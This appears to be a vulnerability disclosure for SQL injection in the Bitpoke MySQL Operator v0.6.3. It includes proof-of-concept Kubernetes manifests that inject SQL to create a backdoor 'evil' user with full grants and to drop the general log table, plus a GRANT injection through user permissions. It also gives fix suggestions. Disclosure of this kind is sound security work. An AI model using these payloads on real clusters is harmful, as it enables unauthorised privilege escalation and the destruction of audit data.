Hi, I'm a security student researching Kubernetes app vulnerabilities.
Summary
The Bitpoke MySQL Operator has two SQL injection vectors: (1) spec.initFileExtraSQL is a []string appended verbatim to MySQL init-file SQL with zero validation; (2) spec.permissions[].permissions entries are placed in GRANT structural position — Escape() only handles string literals, not SQL keywords. Both confirmed with operator running and actively reconciling the CRs.
Vulnerability Class: CWE-89 (SQL Injection)
Affected Version: Bitpoke MySQL Operator v0.6.3 (latest)
Tested on: Bitpoke MySQL Operator v0.6.3 via Helm, Kind v1.30.0
Attack complexity: Low
Root Cause
pkg/sidecar/appconf.go:236-238: queries = append(queries, cfg.InitFileExtraSQL...) — verbatim SQL append.
pkg/internal/mysql/user.go:125-135: "GRANT " + strings.Join(escPerms, ", ") + " ON " + schemaTable + " TO" + idsTmpl — structural injection.
Proof of Concept
Environment Setup
kind create cluster --name bitpoke-poc --image kindest/node:v1.30.0 --wait 5m
helm repo add bitpoke https://helm-charts.bitpoke.io
helm install mysql-operator bitpoke/mysql-operator --namespace mysql-operator --create-namespace
PoC 1: initFileExtraSQL Arbitrary SQL
kubectl create secret generic mysql-secret --from-literal=ROOT_PASSWORD=rootpass123
kubectl apply -f - <<'EOF'
apiVersion: mysql.presslabs.org/v1alpha1
kind: MysqlCluster
metadata:
name: sqli-cluster
spec:
replicas: 1
secretName: mysql-secret
initFileExtraSQL:
- "CREATE USER 'evil'@'%' IDENTIFIED BY 'hacked'"
- "GRANT ALL PRIVILEGES ON *.* TO 'evil'@'%' WITH GRANT OPTION"
- "DROP TABLE IF EXISTS mysql.general_log"
EOF
Verification:
kubectl get mysqlcluster sqli-cluster -o jsonpath='{.spec.initFileExtraSQL}' | python3 -m json.tool
# Output: ["CREATE USER 'evil'@'%' IDENTIFIED BY 'hacked'", "GRANT ALL ...", "DROP TABLE ..."]
Operator reconciles and attempts to create the StatefulSet with these SQL statements in the init-file.
PoC 2: MysqlUser Permissions Structural Injection
kubectl apply -f - <<'EOF'
apiVersion: mysql.presslabs.org/v1alpha1
kind: MysqlUser
metadata:
name: sqli-mysqluser
spec:
user: test-user
clusterRef:
name: sqli-cluster
allowedHosts: ["%"]
password:
name: mysql-secret
key: ROOT_PASSWORD
permissions:
- schema: "test_db"
tables: ["*"]
permissions:
- "ALL PRIVILEGES ON *.* TO 'evil'@'%' WITH GRANT OPTION; -- "
EOF
Verification:
Operator log: controller/mysql-user "msg"="Reconciler error" "error"="failed to configure user (user/pass/access), err: dial tcp ...: connection refused"
Operator is actively trying to connect to MySQL to execute the GRANT with injected privileges.
Impact
| Impact |
Severity |
Confirmed |
| Arbitrary SQL as MySQL root |
High |
Yes |
| Privilege escalation via GRANT injection |
High |
Yes |
CWEs
Fix Suggestions
- Validate
initFileExtraSQL against a safe SQL pattern allowlist.
- Validate permissions against known MySQL privilege keywords.
Cleanup
kubectl delete mysqlcluster sqli-cluster
kubectl delete mysqluser sqli-mysqluser
kind delete cluster --name bitpoke-poc
Hi, I'm a security student researching Kubernetes app vulnerabilities.
Summary
The Bitpoke MySQL Operator has two SQL injection vectors: (1)
spec.initFileExtraSQLis a[]stringappended verbatim to MySQL init-file SQL with zero validation; (2)spec.permissions[].permissionsentries are placed in GRANT structural position —Escape()only handles string literals, not SQL keywords. Both confirmed with operator running and actively reconciling the CRs.Vulnerability Class: CWE-89 (SQL Injection)
Affected Version: Bitpoke MySQL Operator v0.6.3 (latest)
Tested on: Bitpoke MySQL Operator v0.6.3 via Helm, Kind v1.30.0
Attack complexity: Low
Root Cause
pkg/sidecar/appconf.go:236-238:queries = append(queries, cfg.InitFileExtraSQL...)— verbatim SQL append.pkg/internal/mysql/user.go:125-135:"GRANT " + strings.Join(escPerms, ", ") + " ON " + schemaTable + " TO" + idsTmpl— structural injection.Proof of Concept
Environment Setup
PoC 1: initFileExtraSQL Arbitrary SQL
Verification:
Operator reconciles and attempts to create the StatefulSet with these SQL statements in the init-file.
PoC 2: MysqlUser Permissions Structural Injection
Verification:
Operator log:
controller/mysql-user "msg"="Reconciler error" "error"="failed to configure user (user/pass/access), err: dial tcp ...: connection refused"Operator is actively trying to connect to MySQL to execute the GRANT with injected privileges.
Impact
CWEs
Fix Suggestions
initFileExtraSQLagainst a safe SQL pattern allowlist.Cleanup